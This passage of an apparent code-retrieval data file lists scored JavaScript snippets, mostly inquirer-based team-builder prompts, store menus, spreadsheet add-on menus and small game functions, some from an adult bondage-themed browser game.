\\'vote\\')\">Reject</button></div>';\n\n\t$('#prompt').empty();\n\t$('#prompt').append(newPrompt);\n\t$('#prompt div:first-child').fadeIn(400, function () {\n\t\t$('.votebuttons').fadeIn(400);\n\t});\n}", "title": "" }, { "docid": "cec4b1827334020f5a83997bf303414a", "score": "0.5449972", "text": "function createTeam() {\n inquirer\n .prompt([\n {\n type: \"list\",\n name: \"memberChoice\",\n message: \"Would you like to add another team member?\",\n choices: [\"Engineer\", \"Intern\", \"My team is full\"]\n }\n ])\n .then(userChoice => {\n switch (userChoice.memberChoice) {\n case \"Engineer\":\n addEngineer();\n break;\n case \"Intern\":\n addIntern();\n break;\n default:\n buildTeam();\n }\n });\n }", "title": "" }, { "docid": "094887fafe0d792a562356b834f33621", "score": "0.540277", "text": "function joinTeamReg(){\n\t\t// set var join team id\n\t\tvar teamID = $.getUrlVars()['teamID'];\n\t\t// if var exisits \n\t\tif(teamID){//alert(teamID);\n\t\t\t//click 'join team' on 2nd screen\n\t\t\t$('input#teamReg-join').click();\n\t\t}\n\t}", "title": "" }, { "docid": "a89b9741fcdb3b954dc1a37d27cd5094", "score": "0.5390383", "text": "function promptStart() { displayStart(\"How about playing some trivia, and finding out?\", \"assets/images/bender-electric.gif\", \"Start Game\") }", "title": "" }, { "docid": "97e9b5047f082df1986f8974cf01de53", "score": "0.5378047", "text": "function onOpen() {\n SpreadsheetApp.getUi().createAddonMenu()\n .addItem('Run Kickback Wizard', 'use')\n .addToUi();\n}", "title": "" }, { "docid": "82f73d31c387befa0f999a15f24df2e7", "score": "0.534248", "text": "onQuickStartButtonClicked_() {\n this.userActed('activateQuickStart');\n }", "title": "" }, { "docid": "aa25dbb684fb13b0cf5b2383a9740bd2", "score": "0.5341004", "text": "function chooseTeam() {\n return inquirer.prompt([\n {\n type: \"list\",\n name: \"memberChoice\",\n message: \"Which type of team member would you like to add?\",\n choices: [\n \"Engineer\",\n \"Intern\",\n \"I don't want to add any more team members\"\n ]\n }\n ]).then(userChoice => {\n switch (userChoice.memberChoice) {\n case \"Engineer\":\n addEngineer();\n break;\n case \"Intern\":\n addIntern();\n break;\n default:\n buildTeam();\n }\n });\n}", "title": "" }, { "docid": "06b990a3c6770c99785ff834fed75f19", "score": "0.5325531", "text": "function start() {\n console.log('============================='.banner);\n console.log('== Its Bamazon Bitches!! =='.banner);\n console.log('============================='.banner);\n console.log('');\n console.log('Enter your customer name to get started'.green);\n inquirer\n .prompt([\n {\n type: \"input\",\n message: \"What is your name?\",\n name: \"username\"\n },\n {\n type: \"confirm\",\n message: \"Are you sure:\",\n name: \"confirm\",\n default: true\n }\n ])\n .then(function (resp) {\n currentCustomer = resp.username;\n mainMenu()\n });\n\n\n}", "title": "" }, { "docid": "13aadcf9be7122d670acdbc7bb4de5c0", "score": "0.5322668", "text": "function start() {\n\n gw_job_process.UI();\n\n \n v_global.logic.proj_no = gw_com_api.getPageParameter(\"proj_no\");\n gw_com_api.setValue(\"frmOption\", 1, \"proj_no\", v_global.logic.proj_no);\n gw_com_api.setValue(\"frmOption\", 1, \"max_row\", 10);\n //gw_com_api.setValue(\"frmOption\", 1, \"proj_no\", \"SCM-IT-TEST-11\");\n\n processRetrieve({});\n\n }", "title": "" }, { "docid": "2c28e8ea78db4c326dfd022fbf477926", "score": "0.5307026", "text": "function onOpen(e) {\n var ui = SpreadsheetApp.getUi();\n ui.createAddonMenu()\n .addItem(\"Start\", 'showPrompt')\n .addToUi();\n}", "title": "" }, { "docid": "8638abf92f91bfa57764dd4eae939186", "score": "0.53049064", "text": "function teamPage() {\r\n\tgetFromServer(\"/teams/\"+$_GET(\"team\"), teamresponse);\r\n}", "title": "" }, { "docid": "025f62b1a77a8f369d292d0aea8d31d1", "score": "0.52936", "text": "function selectMercury() {\n selectPlanet(\"Mercury\");\n}", "title": "" }, { "docid": "77717679625576757f50d3e186cae2aa", "score": "0.5293066", "text": "function start(mode, type, selection) {\n\tqm.sendNext(\"Talk to Hiver in Ludibrium Village.\");\n\tqm.forceStartQuest();\n\tqm.dispose();\n}", "title": "" }, { "docid": "ae199ade0c8fd23b03718a0853816bd4", "score": "0.52912444", "text": "function onClick_BeginBtn() {\r\n if (role == \"master\") {\r\n sendMsg(\"start_game\", \"true\");\r\n }\r\n}", "title": "" }, { "docid": "5b8be6a8ceb021fcec2c475fb5e47fa7", "score": "0.5288717", "text": "function createTeam() {\n inquirer.prompt([\n {\n type: \"list\",\n name: \"memberChoice\",\n message: \"What Type of Member do you want to add?\",\n choices: [\"Engineer\", \"Intern\", \"I'm finished\"],\n },\n])\n\n// Switch Selector for Questions and Answers\n .then((uSelection) => {\n switch (uSelection.memberChoice) {\n case \"Manager\":\n addEngineer();\n break;\n case \"Engineer\":\n addEngineer();\n break;\n case \"Intern\":\n addIntern();\n break;\n default:\n buildTeam();\n }\n});\n}", "title": "" }, { "docid": "0cbf984631371beea32220eebee1e49e", "score": "0.5283559", "text": "function exec() {\n //Open a dialog window with an information\n Banana.Ui.showInformation('Title', 'This is the information message!');\n}", "title": "" }, { "docid": "9a616142ed21bb68c191ab836cf855e5", "score": "0.52723026", "text": "function createTeam() {\n // prompt the team member\n inquirer.prompt([\n {\n type: \"list\",\n name: \"chooseMember\",\n message: \"What type of member would you add to team?\",\n choices: [\n \"Engineer\",\n \"Intern\",\n \"I don't want to add any member\"\n ]\n }\n ]).then(userChoice => {\n switch (userChoice.chooseMember) {\n case \"Engineer\":\n addEngineer();\n break;\n case \"Intern\":\n addIntern();\n break;\n default:\n buildUpTeam();\n }\n });\n }", "title": "" }, { "docid": "2bcf27c638c3e58419b478e3612b4252", "score": "0.5267146", "text": "function start() {\n\tcm.sendSimple(\"#e#dOlá, eu sou o Gaga.#n#k\\r\\n#dPor determinado valor, eu posso lhe vender as seguintes coisas:\\r\\n\\r\\n#e#dMontaria, Sela e a habilidade Montaria de Monstros.#n#k\\r\\n\\r\\n#dPor acaso, você deseja aprender as habilidades e obter qual montaria?Lembrando que para cygnus as montarias são Mimio e Mimiana!\\r\\n#L0##b #i1902000# Porco (25m)#k#l\\r\\n#L1##b #i1902001# Juba Prateado (60m)#k#l\\r\\n#L2##b #i1902002# Draco Vermelho (100m)#k#l\\r\\n#L4##b #i1902005# Mimiana (70m)#k#l \\r\\n#L5##b #i1902006# Mimio (100m)#k#l\\r\\n \\r\\n #L3##bAtivar Skill de montaria(10m)#k#l\\r\\n\");\n}", "title": "" }, { "docid": "97be859eb226bbc4a779e4aed95dad4c", "score": "0.52668095", "text": "function start(){\n inquirer\n .prompt([\n {\n name: \"action\",\n type: \"list\",\n choices: [\"Use BAMAZON Customer\", \n \"Use BAMAZON Manager\", \n \"Use BAMAZON supervisor\",\n \"Quit\"],\n message: \"What would you like to do?\"\n },\n ]).then(function(res) {\n if (res.action === \"Use BAMAZON Customer\") customer.viewProducts();\n else if (res.action === \"Use BAMAZON Manager\") manager.viewProducts();\n else if (res.action === \"Use BAMAZON supervisor\") supervisor.start();\n else console.log(\"Bye\"); \n }); \n}", "title": "" }, { "docid": "0bed16ad882b6cda54e515f87783a375", "score": "0.5256045", "text": "function C012_AfterClass_Roommates_TestInviteAmanda() {\n\tif (ActorGetValue(ActorLove) >= 10) {\n\t\tOverridenIntroText = GetText(\"GoDormLoveAmanda\");\n\t\tC012_AfterClass_Roommates_CurrentStage = 120;\n\t}\n\tif (ActorGetValue(ActorSubmission) >= 10) {\n\t\tOverridenIntroText = GetText(\"GoDormDommeAmanda\");\n\t\tC012_AfterClass_Roommates_CurrentStage = 120;\n\t}\n}", "title": "" }, { "docid": "f5bff0c7eabffa5e5d85f8780a40ad2a", "score": "0.52430034", "text": "function myGroup() {\n \n teamAssemble();\n}", "title": "" }, { "docid": "7f97dfb362df6f1cfad2445037f7f610", "score": "0.5238454", "text": "function backStart(cname) {\n\tvar sendProp={};\n\tsendProp.action=\"startTool\";\n\tsendProp.cname=cname;\n\tchrome.runtime.sendMessage(sendProp, function(response) {\n\t\t//console.log(response.farewell);\n\t});\n}", "title": "" }, { "docid": "4b4d32bfd14c56ac104c5c0d45df368b", "score": "0.5236405", "text": "function createTeam() {\n inquirer\n .prompt([\n {\n name: \"addMember\",\n type: \"list\",\n message: \"Would you like to add a team member?\",\n choices: [\n \"Yes\",\n \"No my team is complete\",\n ],\n\n },\n ])\n .then(function (data) {\n switch (data.addMember) {\n case \"Yes, add to the Team\":\n renderer();\n console.log(hello);\n break;\n case \"No my team is complete\":\n buildTeam();\n break;\n }\n });\n}", "title": "" }, { "docid": "27cb1bd602f9af7447f3167f5b4e79a5", "score": "0.5236015", "text": "runWelcomeStep() {}", "title": "" }, { "docid": "97f926b1d03c4815f19ca7ccb3a3c8c8", "score": "0.5231343", "text": "function SubmitNameTap(name) {\n\tvar gameObjManager = ATD.CurrentGame.GameObjManager;\n\tvar player = gameObjManager.GetPlayer(name);\n ATD.CurrentGame.DrawLevelSelect();\n}", "title": "" }, { "docid": "4effaadfb70ca25aaf4e3228836f2fa4", "score": "0.5227039", "text": "function createTeam() {\n inquirer.prompt([\n {\n type: 'list',\n message: \"Which type of team member would you like to add?\",\n choices: [\n \"Engineer\",\n \"Intern\",\n \"No, I don't want to add more team members\"\n ],\n name: 'newMember'\n }\n ])\n .then(function(member) {\n if(member.newMember === \"Engineer\") {\n addEngineer()\n } else if(member.newMember === \"Intern\") {\n addIntern()\n } else {\n buildHTML()\n }\n })\n }", "title": "" }, { "docid": "0055b0a196d2e51ffe097755821d892b", "score": "0.52188003", "text": "function C999_Common_Manacles_Click() {\n\tOverridenIntroImage = \"\";\n\tClickInteraction(C999_Common_Manacles_CurrentStage);\n\tInventoryClick(GetClickedInventory(), LeaveChapter, LeaveScreen);\n}", "title": "" }, { "docid": "326ebebe01601b14283071e9e0b01fd9", "score": "0.5207541", "text": "function onOpen() {\n SpreadsheetApp.getUi()\n .createMenu('Crunchbase Data')\n .addItem('Retrieve info for every organization', 'getCrunchbaseOrgs')\n .addToUi();\n}", "title": "" }, { "docid": "6d970f109d4c4a4b46b0ebd9fff97b40", "score": "0.5206598", "text": "function C012_AfterClass_Roommates_TestInviteJennifer() {\n\tif (ActorGetValue(ActorLove) >= 10) {\n\t\tOverridenIntroText = GetText(\"GoDormLoveJennifer\");\n\t\tC012_AfterClass_Roommates_CurrentStage = 312;\n\t}\n\tif (ActorGetValue(ActorSubmission) >= 10) {\n\t\tOverridenIntroText = GetText(\"GoDormDommeJennifer\");\n\t\tC012_AfterClass_Roommates_CurrentStage = 312;\n\t}\n}", "title": "" }, { "docid": "a7a0916a578d179be7c09fcfbaa8460a", "score": "0.51905525", "text": "function openScout(team){\n window.location.href = ('#/scouter' + '?t=' + team)\n }", "title": "" }, { "docid": "debf36cb735705a0f5072c3de38d9574", "score": "0.51678306", "text": "goToMeeting() {\n console.log('Going to a meeting...');\n console.log(`'You want me to redesign it...again?'`, '\\n');\n }", "title": "" }, { "docid": "17e3c44dbcff2b5f59fa4364ff1124c6", "score": "0.51614505", "text": "function startPrompt() {\n inquirer.prompt([\n\n {\n\n name: \"workteamname\",\n message: \"Please create your team's name\"\n \n }\n ])\n .then(function(data){\n const workTeamName = data.workteamname\n workTeamArray.push(workTeamName)\n addManager();\n })\n\n \n}", "title": "" }, { "docid": "38eb534f5badb73a05492dc060d2ca35", "score": "0.51595", "text": "selectedTeam(team) {\n\n this.selectedTeamInfo = team;\n this.team = true;\n this.getTeamMembers();\n }", "title": "" }, { "docid": "be61eb5d4f472d1efed3ffefdcf006af", "score": "0.51577187", "text": "function viewOwnTeam(app) {\n let callback = (obj => {\n if (!obj.participants) {\n app.ask(\"You are not in game!!\");\n } else {\n let ppl = [];\n obj.participants.forEach((summoner) => {\n if (summoner.teamId === 100 && summoner.summonerName != app.data.summoner.name) ppl.push(summoner.summonerName);\n });\n app.ask(`You are playing with: ${ppl}`);\n // obj.participants.forEach( (summoner) => {\n // if (summoner.teamId === 100) {\n // getRankedById(summoner.summonerId);\n // app.ask(`${summoner.summonerName}, `);\n }});\n let url = makeUrl(`/lol/spectator/v3/active-games/by-summoner/${app.data.summoner.id}`);\n request(url, function (error, response, body) {\n obj = JSON.parse(body);\n callback(obj);\n });\n }", "title": "" }, { "docid": "def7bcca32ca3ae870731d1fd5947cd4", "score": "0.5151798", "text": "function createTeam() {\n inquirer\n .prompt([\n {\n type: \"list\",\n name: \"memberChoice\",\n message: \"Which type of team member would you like to add?\",\n choices: [\n \"Engineer\",\n \"Intern\",\n \"I don't want to add any more team members\",\n ],\n },\n ])\n .then((userChoice) => {\n switch (userChoice.memberChoice) {\n case \"Engineer\":\n addEngineer();\n break;\n case \"Intern\":\n addIntern();\n break;\n default:\n buildTeam();\n }\n });\n }", "title": "" }, { "docid": "89ce8360e722d9b0a81ace61887e21f9", "score": "0.514748", "text": "function launchModule() {\n // Get the selected item\n const value = $('#launch-module-menu')[0].value;\n if(value == 'buffer'){\n const res = {\n id: \"buffer_module.1\",\n message: \"A start point is required. Use the circlemarker tool to draw a start point\"\n }\n handleResponse(res)\n }\n\n else{\n sendMessage('/launch', { launch: value }, {}, handleResponse);\n }\n}", "title": "" }, { "docid": "69d5aa0bb35ce0940a1380c18bc21bdb", "score": "0.5131641", "text": "function createTeam(){\n\n inquirer\n .prompt([\n {type: \"list\",\n name: \"addMember\",\n message: \"Which team member would you like to add?\",\n choices: [\"Engineer\", \"Intern\", \"No more members\"]\n\n\n }\n \n \n ])\n .then(answers => {\n // create a switch statement to choose between engineer, intern, or build team\n \n switch (answers.addMember) {\n case \"Engineer\":\n getEngineer();\n break;\n case \"Intern\":\n getIntern();\n // expected output: \"Mangoes and papayas are $2.79 a pound.\"\n break;\n default:\n buildTeam();\n }\n })\n}", "title": "" }, { "docid": "72b8944884fba618ee9cec69e2b4322a", "score": "0.5130721", "text": "function main() {\n document.title = \"JS Jeopardy! v\" + VERSION;\n // show the game setup dialog\n tb_show('JS Jeopardy', '#TB_inline?height=500&width=800&inlineId=setupWindow&modal=true', null);\n}//main", "title": "" }, { "docid": "03ef4d7169ab8623b042a0c65ec56fab", "score": "0.51273", "text": "function C002_FirstClass_Mildred_Run() {\n\tBuildInteraction(C002_FirstClass_Mildred_CurrentStage);\n}", "title": "" }, { "docid": "9864ef12adc748aded442faf3a7c07d3", "score": "0.5121938", "text": "function C101_KinbakuClub_Lauren_Click() {\t\n\n\t// Regular and inventory interactions\n\tClickInteraction(C101_KinbakuClub_Lauren_CurrentStage);\n\tvar ClickInv = GetClickedInventory();\n\t\n\t// Lauren can be tied up at stage 310\n\tif (((C101_KinbakuClub_Lauren_CurrentStage == 450) || (C101_KinbakuClub_Lauren_CurrentStage == 460) || (C101_KinbakuClub_Lauren_CurrentStage == 470)) && (ClickInv != \"\") && (ClickInv != \"Player\") && !Common_PlayerRestrained) {\n\t\t\n\t\tActorApplyRestrain(ClickInv);\n\t\t\n\t}\n\n\tC101_KinbakuClub_Lauren_CalcParams()\n}", "title": "" }, { "docid": "65b27da94c3a8bc85c77219b3271bc87", "score": "0.5115352", "text": "function createTeam() {\n inquirer.prompt([\n {\n type: 'list',\n name: 'memberChoice',\n message: 'What team member would you like to create?',\n choices: [\n 'Engineer',\n 'Intern',\n 'I\\'m done creating my team'\n ]\n },\n ]).then(userChoice => {\n if (userChoice.memberChoice === 'Engineer') {\n createEngineer();\n } else if (userChoice.memberChoice === 'Intern') {\n createIntern();\n } else {\n buildTeam();\n }\n }\n )\n}", "title": "" }, { "docid": "0d1b6a451a8fc396555dfb77f43dca2e", "score": "0.50888157", "text": "function scriptMain(){\n displayInfo(\"BWC\");\n}", "title": "" }, { "docid": "1b6190a61e76be3cf8871b944320adff", "score": "0.5081341", "text": "async startVidyoSessionClicked() {\n this.setTimeoutForConnectingVidyo();\n\n //empty object of participants and DDL\n this.participantsDDL = {};\n this.participantsObject = {};\n this.vidyoStopped = false;\n\n //prepare object of participants and DDL\n this.agent.getContacts().forEach((c) => {\n this.participantsDDL[\n c.contactId\n ] = c.getAttributes().customerName.value;\n this.participantsObject[c.contactId] = c;\n });\n\n //in case there is more than one participant - DDL opened to choose one\n if (Object.keys(this.participantsDDL).length > 1) {\n try {\n const { value: participant } = await Swal.fire({\n title: \"Please Choose participant for vidyo call\",\n input: \"select\",\n inputOptions: this.participantsDDL,\n inputPlaceholder: \"Please choose participant\",\n showCancelButton: true,\n inputValidator: (value) => {\n return new Promise((resolve) => {\n if (value) {\n resolve();\n } else {\n resolve(\"Please choose participant\");\n }\n });\n },\n });\n\n //if pariticpant choosed\n if (participant) {\n this.startBtnDisabled = true;\n // Swal.fire(`You choosed: ${participant}`)\n //\"true\" - create token\n this.prepareControllerAndToken(participant, true);\n } else {\n this.startBtnDisabled = false;\n }\n } catch (e) {\n console.debug(e);\n }\n }\n //in case there is only one participant\n else if (Object.keys(this.participantsDDL).length == 1) {\n this.startBtnDisabled = true;\n this.prepareControllerAndToken(\n Object.keys(this.participantsDDL)[0],\n true\n );\n }\n }", "title": "" }, { "docid": "54ab441e2999313681e7b12ae06804c1", "score": "0.50751024", "text": "function createTeam() {\n inquirer.prompt(addTeamQuestions).then((answers) => {\n if (answers.jobTitle === \"Manager\") {\n createManager();\n } else if (answers.jobTitle === \"Engineer\") {\n createEngineer();\n } else if (answers.jobTitle === \"Intern\") {\n createIntern();\n } else if (answers.jobTitle === \"Create\") {\n buildTeam();\n }\n });\n }", "title": "" }, { "docid": "224821546419ba30e7bb5090131d980a", "score": "0.50665826", "text": "function navTeams() {\n\tconst teamButton = document.querySelector('.nav__teams');\n\tevents.on(teamButton, 'click', ()=> {\n\t\tapi.getRequest('http://localhost:8080/teams', teams => { \n\t\t\tgetAppContext().innerHTML = Teams(teams)\n\t\t})\n\t})\n}", "title": "" }, { "docid": "21f2c76dfeea8ae9ce4ed32a81f79e96", "score": "0.50533855", "text": "function start() {\r\n inquirer\r\n .prompt({\r\n name: \"login\",\r\n type: \"list\",\r\n message: \"Choose login: [Customer] or [Quit]\",\r\n choices: [\"Customer\", \"Quit\"]\r\n })\r\n .then(function(answer) {\r\n console.log(answer.login);\r\n // based on their answer, call the appropriate staff function\r\n switch (answer.login) {\r\n case 'Customer':\r\n bamazoncustomer();\r\n break;\r\n case 'Quit':\r\n process.exit( );\r\n break;\r\n } // switch case\r\n }); // function answer\r\n} // start", "title": "" }, { "docid": "6d89c1ab9e74da3634fa5632e7a27707", "score": "0.5050316", "text": "function enterTeamInformation () {\n read({prompt: 'Team Name: ', default: 'test-team'}, (err, teamName) => {\n read({prompt: 'Slack Token: '}, (err, token) => {\n slackTeams[teams][teamName] = token\n read({prompt: 'Do you have any more teams?', default: 'no'}, (err, moreTeams) => {\n if (!err && moreTeams == 'no') {\n console.log('Awesome! Lets write a local file for you that has all the slack app information')\n console.log('You can manually edit the file too if you fucked up your copy/paste')\n fs.writeFile('./team.js', 'module.exports = ' + JSON.stringify(slackTeams), (err) => {\n if (err) {\n console.error('fucked up the write')\n } else {\n console.log('Your Slack Notifier is now starting...')\n slackSetupListeners()\n require('./services/agenda_jobs')\n }\n })\n } else {\n enterTeamInformation()\n }\n })\n })\n })\n}", "title": "" }, { "docid": "b9aa52cafd008c032a657fc85615c99c", "score": "0.5043222", "text": "function launchLeetCodeModal() {\n _globalIPCRenderer.send(\"leetcode-version\");\n _globalIPCRenderer.send(\"leetcode-user\");\n document.getElementById(\"leetCodeModal\").classList.add(\"is-active\");\n document.documentElement.classList.add(\"is-clipped\");\n _globalLeetCodeJS.postModalLaunchSteps();\n}", "title": "" }, { "docid": "ed452b7d2528d3222fa07625314cf9a8", "score": "0.50395864", "text": "function activate_button() {\r\n\trequestAMF(get_deployable_agents_amf, agent_update);\r\n}", "title": "" }, { "docid": "fdb7e793af85a34449dc96bc305b9641", "score": "0.5034099", "text": "function createTeam(){\n\n inquirer\n .prompt([{\n type: \"list\",\n name: \"role\",\n message: \"What employee would you like to add to the team?\",\n choices: [\"Engineer\", \"Intern\", \"I am finished adding\"]\n }])\n .then(answers => {\n // create a switch statement to choose between engineer, intern, or build team\n switch(answers.role){\n case \"Engineer\":\n getEngineer();\n break;\n case \"Intern\":\n getIntern();\n break;\n default:\n buildTeam();\n }\n \n })\n}", "title": "" }, { "docid": "405365dcd0c6c0463ab55369c8cbe066", "score": "0.5032184", "text": "function AutoStartGame(cMinTeamPlayers)\r\n{\r\n if (PigState_WaitingForMission != PigState)\r\n throw \"Cannot call AutoStartGame unless PigState is PigState_WaitingForMission\";\r\n\r\n var strExpression = \"AutoStartGame_Tick(\" + cMinTeamPlayers + \");\";\r\n\tCreateTimer(1.0, strExpression, -1, \"AutoStartGameTimer\");\r\n}", "title": "" }, { "docid": "4b44da81261ca1e952ccd50ee1106f97", "score": "0.50281525", "text": "function playGame() {\n for (let i = 0; i < theTeams.length; i++) {\n // update the teams on the field\n theTeams[i].showTeam(stateOfPlay);\n }\n\n promptDefense(stateOfPlay);\n}", "title": "" }, { "docid": "b4b8a06493dd41b9d8c4257b96f13b43", "score": "0.5026337", "text": "function proceed_add_team1(response)\n{\n\twrite_modal (\"Reloading database...\");\n\tG_team_database_data_valid=0;\n\tload_team_database (proceed_add_team2);\n}", "title": "" }, { "docid": "89964b63b091614b44bd4f849ed02c34", "score": "0.50256616", "text": "function cl() {\n console.log(chalk.black.bgWhite(\"GROUP \" \n\t\t\t+ \" RANK \" \n\t\t\t+ \" TEAM \" \n\t\t\t+ \" GP \" \n\t\t\t+ \" G \" \n\t\t\t+ \" GA \" \n\t\t\t+ \" GD \" \n\t\t\t+ \" PTS \"\n\t\t));\n }", "title": "" }, { "docid": "8c51d4154a414945b112687567fa848f", "score": "0.5024479", "text": "function chooseMember() {\n inquirer.prompt([\n {\n type: \"list\",\n message: \"Please select an employee to add to your team:\",\n name: \"role\",\n choices: [\"Manager\", \"Engineer\", \"Intern\", \"There is no one else to add, create my website!\"]\n }\n ]).then(response => {\n const position = response.role;\n if (position == \"Manager\") {\n addManager();\n } else if (position == \"Engineer\") {\n addEngineer();\n } else if (position == \"Intern\") {\n addIntern();\n } else if (position == \"There is no one else to add, create my website!\") {\n console.log(\"You're all finished. Check out your awesome work team page!!\")\n write();\n }\n });\n }", "title": "" }, { "docid": "a3d69d9d33d272297fac14169bed666a", "score": "0.50117135", "text": "function projectSelection(project){\n activeProject = project;\n\n\n}", "title": "" }, { "docid": "8aa18b1d263cc4c117588e9f561fc82a", "score": "0.5011109", "text": "function createTeamMembers() {\n inquirer.prompt([{\n type: \"list\",\n message: \"Would you like to add another member to the team roster?\",\n choices: [\"Engineer\", \"Intern\", \"No I'm done.\"],\n name: \"team\"\n }]).then(function(answers) {\n switch (answers.team) {\n case \"Engineer\":\n createEngineer()\n break;\n case \"Intern\":\n createIntern()\n break;\n case \"No, I'm done.\":\n renderTeamRoster()\n break;\n default:\n renderTeamRoster();\n }\n });\n}", "title": "" }, { "docid": "10dc52a8e8e6576fc675361621fb75cd", "score": "0.5007296", "text": "function buildTeam(){\n console.log(\"Your team template has been built!\");\n return;\n}", "title": "" }, { "docid": "c90fda96c99f7d18fdebf899e986d23c", "score": "0.49993083", "text": "function sayHI(){w.pM({'cmd': 'start', 'msg': 'Hi'});}", "title": "" }, { "docid": "7ea77eeda2e8b77520b1a9b7af83bb07", "score": "0.49973255", "text": "function StartPractice(){\n const maxLevel = practice.tabs.length; //Define number of levels for each song: number of key tabs\n PracticeOnLevel(maxLevel); //Practice on each level of the song (e.g. level 0 = key0; level 1 = key0 + key1 ...)\n}", "title": "" }, { "docid": "d3561ff34afdf977c04546cad7314822", "score": "0.49966922", "text": "function startGame() {\n \n if(letsPlay.toUpperCase() === 'YES') {\n userName = prompt('Enter name: ');\n startCombat(userName);\n alert('Results of the game are logged to console.');\n }\n else if (letsPlay.toUpperCase() === 'NO') {\n alert('Have a nice day!');\n }\n else {\n alert('Invalid input.')\n }\n console.log('Exit game.')\n }", "title": "" }, { "docid": "c62d8b1adf53f9a3be06bd0482165028", "score": "0.49939805", "text": "function teamTestCreate (cb){\n\tstatus.innerHTML += \"Running team create<br>\";\n\tgantt.addTeam('team one', '#43AA65', function(err, success){\n\t\tif(err){\n\t\t\tstatus.innerHTML += errorReturn(JSON.stringify(err));\n\t\t\treturn cb(false);\n\t\t}else{\n\t\t\tstatus.innerHTML += successReturn(JSON.stringify(success));\n\t\t\treturn cb(true);\n\t\t}\t\t\n\t});\n}", "title": "" }, { "docid": "42224ea3fcdceccd92271c46e3ae6067", "score": "0.4976738", "text": "function C002_FirstClass_Amanda_Run() {\n\n\t// Regular interactions\n\tBuildInteraction(C002_FirstClass_Amanda_CurrentStage);\n\n\t// Bondage hug\n\tif ((C002_FirstClass_Amanda_CurrentStage == 160) || (C002_FirstClass_Amanda_CurrentStage == 170)) {\n\t\tOverridenIntroImage = \"\";\n\t\tif ((ActorSpecificHasInventory(\"Amanda\", \"BallGag\")) && (ActorSpecificHasInventory(\"Sarah\", \"BallGag\"))) OverridenIntroImage = \"Hug_Amanda_Rope_BallGag_Sarah_Rope_BallGag.jpg\";\n\t\tif ((ActorSpecificHasInventory(\"Amanda\", \"BallGag\")) && (!ActorSpecificHasInventory(\"Sarah\", \"BallGag\"))) OverridenIntroImage = \"Hug_Amanda_Rope_BallGag_Sarah_Rope.jpg\";\n\t\tif ((!ActorSpecificHasInventory(\"Amanda\", \"BallGag\")) && (ActorSpecificHasInventory(\"Sarah\", \"BallGag\"))) OverridenIntroImage = \"Hug_Amanda_Rope_Sarah_Rope_BallGag.jpg\";\n\t\tif ((!ActorSpecificHasInventory(\"Amanda\", \"BallGag\")) && (!ActorSpecificHasInventory(\"Sarah\", \"BallGag\"))) OverridenIntroImage = \"Hug_Amanda_Rope_Sarah_Rope.jpg\";\n\t}\n\n}", "title": "" }, { "docid": "db9ad79018757041e83a0f0b500806a7", "score": "0.496218", "text": "function onOpen(e) {\n SpreadsheetApp.getUi()\n .createMenu(\"Actions\")\n .addItem('Schedule Engineer Interview', 'manualSchedulerEngineers')\n .addItem('Schedule Product Interview', 'manualSchedulerProduct')\n .addToUi()\n}", "title": "" }, { "docid": "1394340e6dbcdb51b4cc5c2190c26b1f", "score": "0.4959452", "text": "function setupStep() {\n sendObjectToVend({\n step: \"SETUP\",\n success: true,\n setup:\n {\n enable_close: false\n }\n });\n }", "title": "" }, { "docid": "bb88f3ea397f5b492107358490312aa1", "score": "0.4959294", "text": "function selectTeam(size, players) {\n\tvar newPrompt = '<div hidden>You must select <span id=\"teamcount\">' + size + '</span> players to go on the mission.</div><div id=\"teamlist\" hidden>';\n\t\n\tfor(i in players) {\n\t\tnewPrompt += '<button onClick=\"selectPlayer(\\'' + players[i] + '\\')\">' + players[i] + '</button> ';\n\t}\n\tnewPrompt += '</div>';\n\n\t$('#prompt').empty();\n\t$('#prompt').append(newPrompt);\n\t$('#prompt div:first').fadeIn(400, function() {\n\t\t$(this).next().fadeIn(400);\n\t});\n}", "title": "" }, { "docid": "f22f62211cf7a0019dd842dc45daf123", "score": "0.49590403", "text": "function cancelInvitationTeam()\n {\n JCPlayersToTeam(uname, document.getElementById(\"team-name\").value,\"NO\");\n\n }", "title": "" }, { "docid": "bcb1c76cf79cbb29b20bf693fd31dc1c", "score": "0.4956164", "text": "function updateTeamLabel(){\n\tteam_label.innerHTML = \"TEAM:\"+client_player.piece;\n}", "title": "" }, { "docid": "bc6ed0a5c5c8ff6763b15e4e61ff09b5", "score": "0.49549988", "text": "function runBamazon() {\n\n // Display the available inventory\n promptManager();\n}", "title": "" }, { "docid": "31cefe55355da28ede64e2d0e7127c38", "score": "0.49531877", "text": "function startMatch()\t// ********** start match **************\n\t{\n\t\t\n\t\tvar data=JSON.parse(localStorage.tennisApp);\n\t\tif(data.membership==\"NONE\"||!data.membership){\n\t\t\talert('You need to activate this device. \\nSee HELP for more details.');\n\t\t\treturn;\n\t\t}\t\n\n\t\t$('#scoreBoard').removeClass('ui-disabled');\t\t\n\t\t$('#start').addClass('ui-disabled');\n\t\t$('#serverOne').show();\n\t\tmatch.status=\"ON\";\n\t\tcurrentServer=1;\n\t\t$('#post').removeClass('ui-disabled');\n\t\t$('#editTitle').addClass('ui-disabled');\n\t\t$('#editPlayers').addClass('ui-disabled');\n\t\t$('#editScore').addClass('ui-disabled');\n\t}", "title": "" }, { "docid": "5ddce1c1389681f9b1a273f8ada3962d", "score": "0.4950861", "text": "function startBattle(eluser, elmonster) {\n console.log(\"******** You are now battling \" + elmonster.name + \" ********\");\n inquirer.prompt([{\n type: \"list\",\n message: \"Do you want to attack or use ability?\",\n choices: [\"Attack\", \"Magic Ability\"],\n name: \"fightChoice\"\n }]).then(function (response) {\n battleArena(eluser, elmonster, response);\n });\n}", "title": "" }, { "docid": "ac0e5a15f974cf1944b66d6f3b3f0bc1", "score": "0.49473727", "text": "LAUNCH() {\n this.$speech.addText(this.t('welcome.speech'))\n this.$reprompt.addText(this.t('welcome.reprompt'))\n console.log(this.$cms.valentine[\"Patrick Sweetman\"]) \n if (this.isGoogleAction()) {\n this.$googleAction.showSuggestionChips(['Open Valentine', 'Learn More']);\n }\n this.ask(this.$speech, this.$reprompt)\n }", "title": "" }, { "docid": "5e1a53d031e7a874c56dbe1137508bce", "score": "0.49469608", "text": "function startGameExtra() {}", "title": "" }, { "docid": "682c57f9d78f78ca0ef82e7f0a20a667", "score": "0.4937364", "text": "function addTeam(state, id, team) {\n //TBC\n}", "title": "" }, { "docid": "f885ab258492041cf30985a37d8f971d", "score": "0.49370617", "text": "function viewSpec(movieToRent){\n createHeader(movieToRent.movieName, \" specification\", \"It is very interesting\");\n console.log(movieToRent);\n askToGo(\"We have a whole lot of movies for you\", appUser);\n}", "title": "" }, { "docid": "2798b5c5b991c5d2d22876c70692ee4f", "score": "0.4934591", "text": "function 